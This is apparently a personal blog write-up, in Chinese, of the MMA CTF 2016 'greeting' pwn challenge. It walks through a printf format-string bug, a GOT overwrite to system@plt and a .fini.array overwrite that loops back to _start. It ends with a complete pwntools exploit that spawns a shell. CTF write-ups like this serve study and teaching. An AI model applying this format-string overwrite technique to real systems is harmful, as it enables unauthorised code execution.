MMA-CTF-2nd-2016-greeting

注意
本文最后更新于 2021-03-28,文中内容可能已过时。

总结

本题主要为printf格式化字符串漏洞,最好的方式是手写fmt payload,然后有一些新的知识点:

  • pwntools的fmtstr_payload不是特别好用,特别是只想写低字节的时候,还是得手动写fmt_payload,抽个时间自己写个格式化payload生成函数吧。也不是第一次在这儿折腾了。
  • 一个新的知识点:程序在初始化的时候,会依次调用init.array中的函数指针;在main函数执行完退出的时候,依次调用.fini.array中的函数指针。这两个段基本都是可读可写的。前提是NO RELRO,就可写。
  • 可以利用printffini.array数组中的第一个元素覆盖为main函数的地址,或者_start函数的地址,可以循环运行main函数。本题只能多循环利用1次,之后就会报错。因为fini.array段的只有一个指针大小。

题目分析

checksec

https://image.roderickchan.cn/img/20210228162702.png

函数分析

  • main:

    https://image.roderickchan.cn/img/20210228162758.png

    main函数中,首先接收stdin的输入,最多输入64个字符,然后将输入的内容进行拼接,拼接后直接printf打印。

  • getnline:

    https://image.roderickchan.cn/img/20210228164153.png

    就是普通的读取输入的函数。注意,这里调用了fgetsstrchrstrlen函数。

漏洞点

很明显,格式化字符串漏洞。不过在查看文件,发现调用过system函数。同时got可读可写,所以考虑将某个函数的got表写为system@plt。然后想办法调用/bin/sh

这里有个问题,就是printf打印完后,直接结束程序运行。那么,基本是没有办法通过一次格式化漏洞就获取shell的,要想覆盖eip就得泄露栈地址,不可能一边泄露栈地址一边往栈地址上写。因此,需要研究一下,怎样能够让程序能再一次回到main函数。

知识点

main函数并不是程序运行的起点,我们知道在__libc_start_main函数中调用了main函数。网上有一些资料,解析x86程序运行的初始化函数执行流,详情请见这个地址。这里,只拿出一张图分析:

https://image.roderickchan.cn/img/init.jpg

可以看到,_start函数中,调用了__libc_start_main,然后调用main函数。初始化的时候,调用init.array数组中的函数指针,退出的时候,调用fini.array数组的函数指针。因此,我们只需要把fini.array的第一个元素覆盖为main或者_start函数的地址即可。

IDA中按下ctrl + S,可以看到程序段:

https://image.roderickchan.cn/img/20210228164036.png

地址为0x8049934

利用思路

步骤:

  • 第一次printf,将strlen@got写为system@plt,同时,将0x8049934,也就是fini.array处写为_start地址,获得了第二次输入的机会
  • 输入/bin/sh,会调用strlen(s),实际调用system("/bin/sh")

EXP

一开始用fmtstr_payload生成payload,长度为70,超过了64。因此,手动写一下。

首先观察一下,正常情况下,0x8049934处的值是多少:

https://image.roderickchan.cn/img/20210228164657.png

我们要改写为0x80484f0,不难发现,只需要改写低两个字节即可。高两个字节保持为0x0804不动。

准备手动写payload。这里先测一下偏移,输入:aaaa%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

输出为:

https://image.roderickchan.cn/img/20210228165018.png

好像aaaa被分开输出了,说明前面有2位的偏移,于是,修改输入为:bbaaaa%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

再来一次:

https://image.roderickchan.cn/img/20210228165148.png

计算一下偏移,offset = 12。注意,前面有两个a,还有一句Nice to meet you, ,也就是说,前面已经输出了0x14个字符。

直接使用%n写四个字节容易写失败,这里使用$hn两个字节依次写入。本次要往str@got(0x8049a54)写入为system@plt(0x8048490),然后将fini.array(0x8049934)的低两个字节写为0x84f0根据要格式化字符串要写的内容,对写的字节大小排个序:

本次写入,要达到的目的为:

0x8049a56 ——> 0x0804

0x8049a54 ——> 0x8490

0x8049934 ——> 0x84f0

最后结合偏移量,最终的payload为:

1
2
payload = b'aa'
payload += b'%2032c%21$hn' + b'%31884c%22$hn' + b'%96c%23$hna' + p32(0x8049a56) + p32(0x8049a54) + p32(0x8049934)

然后调试一下,看看是不是都改对了:

修改前:

https://image.roderickchan.cn/img/20210228170509.png

修改后:

https://image.roderickchan.cn/img/20210228170902.png

此时,获得了第二次输入机会:

https://image.roderickchan.cn/img/20210228171120.png

输入/bin/dash即可得到shell

https://image.roderickchan.cn/img/20210228171225.png

完整Exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *

io = process('./greeting')

payload = b'aa'
payload += b'%2032c%21$hn' + b'%31884c%22$hn' + b'%96c%23$hna' + p32(0x8049a56) + p32(0x8049a54) + p32(0x8049934)
io.recvuntil("Please tell me your name... ")
print(payload, len(payload))
sleep(1)
io.sendline(payload)
io.recvuntil("Please tell me your name... ")
sleep(1)
io.sendline('/bin/sh')
io.sendline('cat flag')
io.interactive()
Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%